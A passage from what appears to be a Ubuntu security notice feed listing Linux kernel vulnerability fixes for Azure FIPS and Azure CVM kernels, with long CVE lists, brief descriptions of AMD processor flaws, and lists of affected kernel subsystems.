CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103, CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114, CVE-2026-46115, CVE-2026-46116, CVE-2026-46117, CVE-2026-46119, CVE-2026-46120, CVE-2026-46121, CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125, CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46135, CVE-2026-46136, CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142, CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152, CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168, CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174, CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180, CVE-2026-46184, CVE-2026-46185, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193, CVE-2026-46194, CVE-2026-46195, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241, CVE-2026-46243, CVE-2026-46244, CVE-2026-46246, CVE-2026-46247, CVE-2026-46249, CVE-2026-46250, CVE-2026-46251, CVE-2026-46253, CVE-2026-46254, CVE-2026-46255, CVE-2026-46259, CVE-2026-46260, CVE-2026-46261, CVE-2026-46265, CVE-2026-46266, CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282, CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46289, CVE-2026-46291, CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296, CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304, CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314, CVE-2026-46319, CVE-2026-46328, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925, CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967, CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974, CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989, CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050, CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085, CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117, CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128, CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289, CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295, CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306, CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379, CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851, CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865, CVE-2026-64018, CVE-2026-64034)

USN-8608-1: Linux kernel (Azure FIPS) vulnerabilities

Fri, 24 Jul 2026 14:17:38 +0200

It was discovered that some AMD processors did not properly clear data in the floating point divider unit during speculative execution. A local attacker could use this to expose sensitive information. (CVE-2025-54505) It was discovered that some AMD Zen 2 processors did not properly isolate shared resources in the operation cache. A local attacker could possibly use this issue to corrupt instructions executed at a higher privilege level, resulting in privilege escalation. (CVE-2025-54518) It was discovered that some AMD Zen 5 processors supporting RDSEED instruction did not properly handle entropy, potentially resulting in the consumption of insufficiently random values. A local attacker could possibly use this issue to influence the values returned by the RDSEED instruction causing loss of confidentiality and integrity. (CVE-2025-62626) Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - ARM64 architecture; - RISC-V architecture; - S390 architecture; - x86 architecture; - Block layer subsystem; - Cryptographic API; - Compute Acceleration Framework; - ACPI drivers; - Serial ATA and Parallel ATA drivers; - Drivers core; - Power management core; - DRBD Distributed Replicated Block Device drivers; - Rados block device (RBD) driver; - Compressed RAM block device driver; - Bluetooth drivers; - Bus devices; - Character device driver; - Clock framework and drivers; - Data acquisition framework and drivers; - Counter interface drivers; - CPU frequency scaling framework; - Hardware crypto device drivers; - CXL (Compute Express Link) drivers; - DMA engine subsystem; - EDAC drivers; - EFI core; - GPU drivers; - Greybus drivers; - HID subsystem; - Hardware monitoring drivers; - I2C subsystem; - IIO ADC drivers; - IIO subsystem; - InfiniBand drivers; - Input Device (Miscellaneous) drivers; - IRQ chip drivers; - LED subsystem; - Mailbox framework; - Multiple devices driver; - Media drivers; - MediaTek SMI driver; - NVIDIA Tegra memory controller driver; - Fastrpc Driver; - IBM Advanced System Management driver; - MMC subsystem; - MTD block device drivers; - Network drivers; - Ethernet bonding driver; - Mellanox network drivers; - Microsoft Azure Network Adapter (MANA) driver; - STMicroelectronics network drivers; - Ethernet team driver; - MediaTek network drivers; - Near Field Communication (NFC) drivers; - NTB driver; - NVDIMM (Non-Volatile Memory Device) drivers; - NVME drivers; - Device tree and open firmware driver; - PCI subsystem; - Pin controllers subsystem; - x86 platform drivers; - Broadcom BCM2835 power domain driver; - Generic PM domains; - i.MX PM domains; - Remote Processor subsystem; - S/390 drivers; - SCSI subsystem; - SLIMbus drivers; - Freescale SoC drivers; - Microchip PolarFire SoC system controller driver; - SPI subsystem; - Media staging drivers; - Realtek RTL8723BS SDIO drivers; - SM750 framebuffer staging driver; - TCM subsystem; - Thermal drivers; - TTY drivers; - UFS subsystem; - Cadence USB3 driver; - USB Device Class drivers; - ULPI bus; - USB core drivers; - DesignWare USB2 driver; - USB Gadget drivers; - USB Host Controller drivers; - Mustek MDC800 USB digital camera driver; - USB YUREX driver; - Renesas USBHS Controller drivers; - USB Type-C Connector System Software Interface driver; - VFIO drivers; - Framebuffer layer; - TSM TDX Guest driver; - Xen hypervisor drivers; - File systems infrastructure; - BTRFS file system; - Ceph distributed file system; - EROFS file system; - Ext4 file system; - F2FS file system; - FUSE (File system in Userspace); - GFS2 file system; - HFS+ file system; - Journaling layer for block devices (JBD2); - Network file systems library; - Network file system (NFS) server daemon; - NILFS2 file system; - File system notification infrastructure; - NTFS3 file system; - OCFS2 file system; - Diskquota system; - SMB network file system; - SquashFS file system; - Tracing file system; - UDF file system; - XFS file system; - Kernel CPU control infrastructure; - QorIQ DPAA2 FSL-MC bus driver; - Memory Management; - Integrity Measurement Architecture(IMA) framework; - KVM subsystem; - Memory management; - Networking core; - padata parallel execution mechanism; - PPP protocol drivers and compressors; - Linux Security Modules (LSM) Framework; - Tracing infrastructure; - Network traffic control; - Distributed Switch Architecture; - IPv4 networking; - IP tunnels definitions; - MAC80211 subsystem; - Netfilter; - User-space API (UAPI); - io_uring subsystem; - Audit subsystem; - BPF subsystem; - Control group (cgroup); - Perf events; - Kernel exit() syscall; - Kernel fork() syscall; - Kernel futex primitives; - KProbes tracing; - Locking primitives; - Kernel module support; - Padata parallel execution mechanism; - Cryptographic library; - Heterogeneous memory management; - KASAN memory debugging framework; - Asynchronous Transfer Mode (ATM) subsystem; - B.A.T.M.A.N. meshing protocol; - Bluetooth subsystem; - Ethernet bridge; - CAIF protocol; - CAN network layer; - Ceph Core library; - IPv6 networking; - XFRM subsystem; - L2TP protocol; - Management Component Transport Protocol (MCTP); - Multipath TCP; - NCSI (Network Controller Sideband Interface) driver; - NFC subsystem; - Open vSwitch; - Packet sockets; - Qualcomm IPC Router (QRTR); - RDS protocol; - RF switch subsystem; - Rose network layer; - RxRPC session sockets; - SCTP protocol; - SMC sockets; - Stream parser; - Sun RPC protocol; - TIPC protocol; - TLS protocol; - Unix domain sockets; - VMware vSockets driver; - Wireless networking; - X.25 network layer; - eXpress Data Path; - Landlock security; - ALSA framework; - Generic PCM loopback sound driver; - FireWire sound drivers; - HD-audio driver; - Creative Sound Blaster X-Fi driver; - AMD SoC Alsa drivers; - QCOM ASoC drivers; - Renesas ASoC drivers; - Samsung ASoC drivers; - SoC audio core drivers; - SOF drivers; - STI ASoC drivers; - USB sound devices; - Objtool; (CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764, CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239, CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161, CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287, CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993, CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118, CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171, CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244, CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255, CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285, CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303, CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308, CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315, CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321, CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340, CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361, CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370, CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378, CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383, CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389, CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412, CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419, CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442, CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448, CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461, CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465, CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475, CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393, CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425, CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429, CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434, CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450, CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454, CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473, CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480, CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487, CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494, CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498, CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503, CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613, CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31634, CVE-2026-31638, CVE-2026-31639, CVE-2026-31642, CVE-2026-31645, CVE-2026-31646, CVE-2026-31648, CVE-2026-31651, CVE-2026-31655, CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677, CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31689, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701, CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706, CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711, CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723, CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728, CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737, CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772, CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43044, CVE-2026-43046, CVE-2026-43047, CVE-2026-43049, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054, CVE-2026-43056, CVE-2026-43057, CVE-2026-43058, CVE-2026-43059, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43064, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080, CVE-2026-43081, CVE-2026-43082, CVE-2026-43084, CVE-2026-43085, CVE-2026-43086, CVE-2026-43088, CVE-2026-43089, CVE-2026-43091, CVE-2026-43092, CVE-2026-43093, CVE-2026-43094, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105, CVE-2026-43107, CVE-2026-43109, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43119, CVE-2026-43120, CVE-2026-43129, CVE-2026-43162, CVE-2026-43245, CVE-2026-43252, CVE-2026-43265, CVE-2026-43281, CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355, CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361, CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368, CVE-2026-43370, CVE-2026-43371, CVE-2026-43372, CVE-2026-43373, CVE-2026-43377, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397, CVE-2026-43405, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411, CVE-2026-43412, CVE-2026-43413, CVE-2026-43415, CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496, CVE-2026-43497, CVE-2026-43499, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45855, CVE-2026-45858, CVE-2026-45899, CVE-2026-45911, CVE-2026-45920, CVE-2026-45924, CVE-2026-45942, CVE-2026-45943, CVE-2026-45956, CVE-2026-45958, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987, CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996, CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003, CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007, CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015, CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026, CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037, CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056, CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069, CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079, CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084, CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103, CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114, CVE-2026-46116, CVE-2026-46117, CVE-2026-46120, CVE-2026-46121, CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125, CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46136, CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142, CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152, CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168, CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174, CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193, CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241, CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282, CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46291, CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296, CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304, CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314, CVE-2026-46319, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925, CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967, CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974, CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989, CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050, CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085, CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117, CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128, CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289, CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295, CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306, CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379, CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851, CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865, CVE-2026-64018, CVE-2026-64034, CVE-2026-64164)

USN-8609-1: Linux kernel (Azure CVM) vulnerabilities

Fri, 24 Jul 2026 14:17:37 +0200

It was discovered that some AMD processors did not properly clear data in the floating point divider unit during speculative execution. A local attacker could use this to expose sensitive information. (CVE-2025-54505) It was discovered that some AMD Zen 2 processors did not properly isolate shared resources in the operation cache. A local attacker could possibly use this issue to corrupt instructions executed at a higher privilege level, resulting in privilege escalation. (CVE-2025-54518) It was discovered that some AMD Zen 5 processors supporting RDSEED instruction did not properly handle entropy, potentially resulting in the consumption of insufficiently random values. A local attacker could possibly use this issue to influence the values returned by the RDSEED instruction causing loss of confidentiality and integrity. (CVE-2025-62626) Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - ARM64 architecture; - MIPS architecture; - PowerPC architecture; - RISC-V architecture; - S390 architecture; - x86 architecture; - Block layer subsystem; - 